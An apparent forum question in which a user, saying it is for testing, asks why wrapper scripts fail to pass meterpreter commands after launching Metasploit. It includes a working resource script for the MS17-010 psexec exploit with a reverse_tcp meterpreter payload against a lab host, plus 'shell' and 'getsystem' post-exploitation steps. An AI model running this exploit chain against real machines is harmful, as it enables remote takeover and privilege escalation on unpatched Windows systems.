I want to automate an attack (for some testing purposes) using metasploit in kali linux. Metasploit commands are save in ms17-010.rc file, and the file is called in the script followed by meterpreter commands. I have tried both bash scripting (Attack_script.sh) and python scripting (test.py). The problem is:
After executing the first command "msfconsole -r /root/ms17-010.rc", first metasploit console is opened and execute the commands saved in "ms17-010.rc" file. Then a meterpreter console is obtained on the same terminal, but it does not execute the remaining commands, Which i want to run on Meterpreter. When i exit both meterpreter and msfconsole, then the comands are executed on terminal.
The problem is with both bash and python script. Hope that i am clear. Please help me out.
## Msf RC script: ms17-010.rc ######
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.16
set LPORT 4444
set RHOST 192.168.10.17
exploit
## Bash script: Attack_script.sh ######
#!/bin/bash
msfconsole -r /root/ms17-010.rc
shell
getsystem
## python script: test.py ######
from os import *
system ( 'msfconsole -r /root/ms17-010.rc' )
system("shell")
system("getsystem")